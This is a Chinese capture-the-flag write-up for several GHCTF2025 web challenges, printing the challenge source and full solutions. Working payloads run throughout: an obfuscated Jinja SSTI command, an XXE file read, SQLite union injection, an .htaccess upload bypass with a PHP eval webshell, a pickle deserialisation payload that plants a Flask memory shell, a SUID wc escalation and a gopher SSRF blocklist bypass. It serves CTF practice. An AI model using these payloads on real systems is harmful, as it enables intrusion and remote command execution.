GHCTF2025-WEB-复现

文章摘要

Bpple-GPT

GHCTF2025-WEB-复现

WEB

SSTI

SSTI

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>© 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

Payload:

{{cycler["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("\x74\x61\x63\x20\x2f\x66\x6c\x61\x67")["\x72\x65\x61\x64"]()}}

NSSCTF{b082![image-sequ.png](/upload/image-sequ.png)75bc-a242-445e-9082-bc1c46f0799a}

fenjing 实践⌛️

(>﹏<)

XXE

给了源码

from flask import Flask, request
import base64
from lxml import etree
import re

app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/ghctf', methods=['POST'])
def parse():
    xml = request.form.get('xml')
    print(xml)
  
    if xml is None:
        return "No System is Safe."
  
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name = root.find('name').text
  
    return name or None

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

就是简单的 XXE 攻击,可以加载 DTD

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>

xml=%3C!DOCTYPE%20foo%20%5B%0A%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%3Cname%3E%26xxe%3B%3C%2Fname%3E%0A%3C%2Froot%3E

sql---sqlite

Sqlite 注入

SQLite注入 - FreeBuf网络安全行业门户

CREATE TABLE "flag" ( "flag" TEXT )

?id=1%20union%20select%201,2,3,(select group_concat(flag) from flag),5

UPUPUP

文件上传,getimagesize和exif_imagetype 绕过

php 文件上传.htaccess getimagesize和exif_imagetype绕过_getimagesize图片类型绕过-CSDN博客

<FilesMatch "mum.bx">
SetHandler application/x-httpd-php

后端检验了<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">mine</font>类型, 直接加上<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">GIF89a</font> 上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype

\x00
#

#define width 1
#define height 1
<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

这里需要完整闭合的

#define width 1337
#define height 1337
<?php @eval($_POST['cmd']);?>

蚁剑连接

NSSCTF{ff6eeee3-9f33-48d3-9139-a8fe2704dc5a}

可以看一下检测代码

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>UPLOAD</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="terminal">
        <div class="terminal-header">
            <span class="red"></span>
            <span class="yellow"></span>
            <span class="green"></span>
            <span class="title">UPLOAD</span>
        </div>
        <div class="terminal-body">
            <form id="upload-form" action="" method="post" enctype="multipart/form-data">
                <label for="uploadfile">选择文件:</label>
                <input type="file" id="uploadfile" name="file" required>
                <br>
                <input type="submit" name="upload" value="上传" class="upload-button">
            </form>
            <div class="output">
                <?php
                    error_reporting(0);
                    if ($_POST['upload']) {
                        if ($_FILES['file']['error'] > 0) {
                            echo "<p>❌ 上传出错</p>";
                        } else {
                            if ($_FILES['file']['size'] > 0 && $_FILES['file']['size'] < 1024 * 1024 * 2) {
                                $dir = 'images';
                                if (!is_dir($dir)) mkdir($dir, 0755);
                                $tmp_filename = $_FILES['file']['tmp_name'];
                                $filename = $_FILES['file']['name'];
                                if (preg_match('/ph|\.\.|ini/i', $filename)) {
                                    echo "<p>⚠️ 文件不允许</p>";
                                    exit;
                                }
                                if (is_uploaded_file($tmp_filename)) {
                                    if (move_uploaded_file($tmp_filename, "$dir/$filename")) {
                                        if (!getimagesize("$dir/$filename")) {
                                            unlink("$dir/$filename");
                                            echo "<p>⚠️ 非法文件</p>";
                                            exit;
                                        }
                                        echo "<p>✅ 上传成功!</p>";
                                        echo "<p>📂 文件大小: " . round($_FILES['file']['size'] / 1024, 2) . " KB</p>";
                                        echo "<p>📍 文件路径: $dir/$filename</p>";
                                    } else {
                                        echo "<p>❌ 上传失败</p>";
                                    }
                                }
                            } else {
                                echo "<p>⚠️ 文件大小不符合要求</p>";
                            }
                        }
                    }
                ?>
            </div>
        </div>
    </div>
</body>
</html>

ezzzz_pickle

NSSCTF | 在线CTF平台

弱密钥爆破登录:

admin
admin123

源代码有提示是 session_pickle

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

# 用户数据库
users = {
    "admin": "admin123",
}

# 生成密钥和初始化向量(IV)
def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

# AES 加密/解密函数
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

# 创建会话
def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600  # 会话有效期为1小时
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    return session

# 下载文件
def download_file(filename):
    path = os.path.join("static", filename)
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')
    return data

# 验证会话
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)

        # 只有 admin 用户可以访问
        if session_data["username"] != "admin":
            return False

        # 检查会话是否过期
        return session_data if session_data["expires"] > time.time() else False
    except Exception:
        return False

# 首页
@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data = ""
            filename = request.form.get("filename")
            if filename:
                data = download_file(filename)
            return render_template("index.html", name=session['username'], file_data=data)

    return redirect("/login")

# 登录页面
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
  
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
  
        return render_template("login.html", error="Invalid username or password")
  
    return render_template("login.html")

# 登出
@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=12917a805c7540fd
PYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
  GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
  FLAG=no_FLAG
  SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
  SHLVL=1
  PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  SECRET_iv=asdwdggiouewhgpw
  _=/usr/local/bin/flask
  OLDPWD=/

开始构造打入内存马

AES 解码

ai 生成的

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64


# AES 解密函数
def aes_decrypt(encrypted_data, key, iv):
    # 将加密数据从 base64 解码
    encrypted_data_bytes = base64.b64decode(encrypted_data)

    # 创建 AES 解密器
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()

    # 解密数据
    decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

    # 去除填充(PKCS7)
    unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
    unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()

    # 返回解密后的字符串
    return unpadded_data.decode('utf-8')


# 示例:密钥和 IV(必须与加密时使用的相同)
key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv'  # 32字节的密钥(AES-256)
iv = b'asdwdggiouewhgpw'  # 16字节的初始化向量(IV)

# 加密后的数据(base64 编码)
encrypted_data = "eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtdJdSG0T1WocAYIhPoRO2sskGWxMYk6m2Wqa9uZcHQS8="
data1 = aes_decrypt(encrypted_data,key,iv)
print(data1)
print(base64.b64decode(data1))

AES 编码

import pickle
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64


# AES 加密函数
def aes_encrypt(plaintext, key, iv):
    # 创建 AES 加密器
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    # 对明文进行填充(PKCS7)
    padder = padding.PKCS7(algorithms.AES.block_size).padder()
    padded_data = padder.update(plaintext.encode()) + padder.finalize()

    # 加密数据
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    # 返回 base64 编码的加密结果
    return base64.b64encode(encrypted_data).decode('utf-8')


# 示例:密钥和 IV(必须与解密时使用的相同)
key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv'
iv = b'asdwdggiouewhgpw'


class A():
 def __reduce__(self):
    return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))


a = A()
piced = pickle.dumps(a)
#print(piced)
piced_base64 = base64.b64encode(piced).decode('Utf-8')
#print(piced_base64)
aes_data = aes_encrypt(piced_base64, key, iv)
print(aes_data)

分析一下 wp 给的马

global exc_class; 
global code;
exc_class, code = app._get_exc_class_and_code(404);
app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('shell')).read()
  1. 操作目标假设 app 是一个 Web 框架(如 Flask/Django)的实例,error_handler_spec 是框架用于注册错误处理函数的字典。
  2. 注册恶意错误处理器
    • app._get_exc_class_and_code(404):获取 404 错误对应的异常类和状态码。
    • app.error_handler_spec[None][code][exc_class] = ...:将 404 错误的处理函数替换为恶意 Lambda 函数。
  3. 恶意 Lambda 函数
lambda a: __import__('os').popen(request.args.get('shell')).read()
- <font style="color:rgb(0, 0, 0);">通过</font><font style="color:rgb(0, 0, 0);"> </font>`request.args.get('shell')`<font style="color:rgb(0, 0, 0);"> </font><font style="color:rgb(0, 0, 0);">获取用户传入的</font><font style="color:rgb(0, 0, 0);"> </font>`shell`<font style="color:rgb(0, 0, 0);"> </font><font style="color:rgb(0, 0, 0);">参数(如 URL 中的</font><font style="color:rgb(0, 0, 0);"> </font>`?shell=恶意命令`<font style="color:rgb(0, 0, 0);">)。</font>
- <font style="color:rgb(0, 0, 0);">调用 </font>`os.popen()`<font style="color:rgb(0, 0, 0);"> 执行该命令并返回结果。</font>

去请求 404 的页面传参数就行了

Getshell

SUID 提权,wc

<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic
脚本加载失败,请尝试更换网络。需要可以访问 https://v.met0.top 若出现验证信息,请完成验证即可正常使用脚本

执行点在这里

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

所以我们构造

input=echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==|base64 -d>muma.php

//<?php eval($_POST["cmd"]);?>

suid 提权

wc | GTFOBins

find / -perm -u=s -type f 2>/dev/null

$ ./wc --files0-from "/flag" 

Goph3rrr

看着名字就像打 ssrf 里面的协议

扫目录可以扫出来一些东西

❯ python dirsearch.py -u http://node6.anna.nssctf.cn:24482/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://node6.anna.nssctf.cn:24482/

[21:44:46] Scanning:
[21:45:12] 200 -    3MB - /app.py
[21:45:56] 500 -   265B - /Upload

Task Completed

可以下载那个 app.py

from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]

@app.route('/')
def index():
    return '''
    <html>
        <head>
            <style>
                body {
                    background-size: cover; /* 背景图片覆盖整个页面 */
                    height: 100vh; /* 页面高度填满浏览器窗口 */
                    display: flex;
                    justify-content: center; /* 水平居中 */
                    align-items: center; /* 垂直居中 */
                    color: white; /* 字体颜色 */
                    font-family: Arial, sans-serif; /* 字体 */
                    text-align: center; /* 文字居中 */
                }
                h1 {
                    font-size: 50px;
                    transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
                }
                h1:hover {
                    transform: translateY(-10px); /* 向上浮动 */
                }
            </style>
        </head>
        <body>
            <h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇≦)</h1>
        </body>
    </html>
    '''

@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Login</title>
            <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #007bff;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-primary {
                    background-color: #007bff;
                    border: none;
                }
                .btn-primary:hover {
                    background-color: #0056b3;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Login</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            return b64e("Username already exists!")
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
        return b64e("Registration successful!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Register</title>
            <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #28a745;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-success {
                    background-color: #28a745;
                    border: none;
                }
                .btn-success:hover {
                    background-color: #218838;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Register</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        if username not in users:
            return b64e("User not found!")
        file = request.files.get('avatar')
        if file:
            file.save(os.path.join(avatar_dir, f"{username}.png"))
            return b64e("Avatar uploaded successfully!")
        return b64e("No file uploaded!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Upload Avatar</title>
            <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #dc3545;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-danger {
                    background-color: #dc3545;
                    border: none;
                }
                .btn-danger:hover {
                    background-color: #c82333;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Upload Avatar</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST" enctype="multipart/form-data">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="avatar" class="form-label">Avatar</label>
                                <input type="file" class="form-control" id="avatar" name="avatar" required>
                            </div>
                            <button type="submit" class="btn btn-danger w-100">Upload</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)


@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

根据我们的请求构造

POST /Mange HTTP/1.1
Host: node6.anna.nssctf.cn:24482
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Origin: http://node6.anna.nssctf.cn:24482
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: http://node6.anna.nssctf.cn:24482/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=ls

略缩一些

POST /Manage HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

cmd=ls /


一次 URL 编码

POST%20%2FManage%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%206%0A%0Acmd%3Dls

二次 URL 编码

gopher://127.0.0.1:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25206%250A%250Acmd%253Dls

但是 127.0.0.1被 ban 了

最后 Payload--->ls

Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25206%250A%250Acmd%253Dls

-----> ls /

http://node6.anna.nssctf.cn:24482/Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25208%250A%250Acmd%253Dls%2520%252F

看看环境变量

最后的最后

GET /Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv HTTP/1.1
Host: node6.anna.nssctf.cn:24482
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.9.21 Date: Mon, 10 Mar 2025 14:15:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 361 Connection: close HOSTNAME=d6297c73306141e1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 PYTHON_SHA256=3126f59592c9b0d798584755f2bf7b081fa1ca35ce7a6fea980108d752a05bb1 WERKZEUG_SERVER_FD=3 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.9.21 PWD=/app FLAG=NSSCTF{70c78a7b-8347-41be-b230-57b74ed04cdd}

readflag

md5 强碰撞 ,CVE

